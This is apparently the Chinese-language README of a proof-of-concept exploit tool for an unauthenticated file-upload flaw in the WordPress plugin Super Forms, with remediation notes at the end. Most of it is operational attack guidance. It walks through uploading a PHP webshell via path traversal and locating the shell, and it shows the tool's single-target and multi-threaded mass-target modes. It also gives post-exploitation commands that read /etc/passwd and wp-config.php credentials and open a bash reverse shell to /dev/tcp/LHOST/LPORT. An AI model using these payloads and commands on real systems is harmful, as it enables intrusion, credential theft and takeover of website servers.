未认证的任意文件上传导致远程代码执行 在 WordPress 插件 Super Forms 版本 ≤ 6.3.313 中。
该漏洞位于 AJAX 处理器 super_submit_form 中,它通过 datauristring 字段处理文件上传,在写入磁盘前未验证文件扩展名或 MIME 类型。未认证的攻击者可以上传 PHP WebShell 并在目标服务器上实现完整的远程代码执行。
[1] 获取 nonce (nopriv)
POST /wp-admin/admin-ajax.php
action=super_create_nonce
│
▼
[2] 通过 datauristring 上传 PHP shell (未认证)
POST /wp-admin/admin-ajax.php
action=super_submit_form
data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
│
├── 路径遍历 → /wp-content/themes/<theme>/shell.php ← 主要
│ (始终可执行)
│
└── 随机文件夹 → /wp-content/uploads/superforms/... ← 备选
(可执行性取决于服务器策略)
│
▼
[3] Shell 发现
├── S0: media?parent=entry_id (WP REST)
├── S1: REST /wp/v2/media 搜索 (未认证)
├── S2: Apache/nginx 目录列表
└── S3: WP 站点地图附件 XML
│
▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"
pip install requests urllib3
python cve-2026-14894.py
CVE-2026-14894 │ Super Forms ≤ 6.3.313
未认证文件上传 → 远程代码执行
研究人员: andrea bocchetti | PoC: Beelze
1 单目标
2 批量目标 (文件)
模式 (1/2): 1
目标 URL : https://target.com
表单 ID (回车=自动) : ← 留空 = 自动发现
Shell 名称 (回车=随机) : ← 留空 = 随机名称
Shell 文件 (回车=内置) : ← 留空 = 内置 shell
WP 用户 (可选/REST) : ← 可选,改进发现
WP 密码 (可选/REST) : ← 可选
成功时的预期输出:
──────────────────────────────────────────────────────────────
目标 https://target.com
──────────────────────────────────────────────────────────────
Super Forms v6.3.301 存在漏洞 ≤6.3.313
[1/3] 获取 nonce ...................... ✔ OK a3f9e1c... sid=sess_ab...
[2/3] 上传 [xkqmhzjt.php] .......... ✔ OK form_id=42 entry_id=137
[3/3] Shell 发现 .................... ✔ 已找到 → RCE [路径遍历 → 主题]
╔══════════════════════════════════════════════════════════════╗
║ ✓ 已攻破 → RCE 已确认 ║
║ ║
║ Shell » https://target.com/wp-content/themes/astra/shell ║
║ RCE » uid=33(www-data) gid=33(www-data) ║
║ ║
║ $ curl "https://target.com/...shell.php?c=whoami" ║
╚══════════════════════════════════════════════════════════════╝
模式 (1/2): 2
目标文件 : targets.txt ← 每行一个 URL,# 为注释
表单 ID (回车=自动) :
线程数 (回车=5) : 10
Shell 文件 (回车=内置) :
WP 用户 (可选/REST) :
WP 密码 (可选/REST) :
targets.txt 格式:
# Bug bounty 范围
https://site1.com
https://site2.com
https://site3.com
批量扫描输出:
══════════════════════════════════════════════════════════════
批量扫描 3 个目标 线程数=10
══════════════════════════════════════════════════════════════
[01/03] https://site1.com .... RCE uid=33(www-data)
↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
[02/03] https://site2.com .... 仅写入 无执行
↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
[03/03] https://site3.com .... 失败 插件未启用/被阻止
══════════════════════════════════════════════════════════════
摘要 1 RCE 1 仅写入 0 可能 / 3 总目标
══════════════════════════════════════════════════════════════
RCE Shell:
» https://site1.com/wp-content/themes/astra/xkqmhzjt.php (uid=33...)
您可以提供自己的 shell 文件替代内置的 webshell:
Shell 文件 (回车=内置): /path/to/myshell.php
工具将上传您的文件,并将任何 200 响应且非空正文视为 RCE 确认。
获得 RCE 后,与 shell 交互:
# 命令执行
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"
# 读取 WordPress 配置(凭据、数据库)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"
# 反弹 shell
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"
结果自动保存到:
~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json
| 状态 | 含义 |
|---|---|
RCE | PHP shell 确认执行 — 完全远程代码执行 |
仅写入 | 文件已写入但 PHP 未执行(引擎关闭 / .htaccess 拒绝) |
可能写入 | 上传返回成功但无法解析 shell URL |
将 Super Forms 更新至 ≥ 6.3.314。该补丁强制在 datauristring 上传中使用仅 .pdf 扩展名,并添加了 realpath() 限制以防止路径遍历。
此工具仅用于授权渗透测试、漏洞赏金研究及教育目的。
请勿在未获得明确书面许可的系统上使用。
作者不对任何滥用或由此工具造成的损害负责。
CVE-2026-14894 · Super Forms ≤ 6.3.313 · 未认证文件上传 RCE
研究人员: andrea bocchetti · PoC: Beelze
| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-14894 |
| 插件 | Super Forms (WordPress) |
| 受影响版本 | ≤ 6.3.313 |
| 已修复版本 | 6.3.314(强制使用 .pdf 扩展名 + realpath 限制) |
| CVSS | 9.8 严重 |
| 需要认证 | 否 |
| 研究人员 | andrea bocchetti |
| AJAX 动作 | super_submit_form |
| 漏洞点 | datauristring 字段 → class-ajax.php:2762–2766 |
| 上传路径 | /wp-content/uploads/superforms/YYYY/MM/<13digits>/ |
失败 | 插件未启用、nonce 失败或检测到已修复版本 |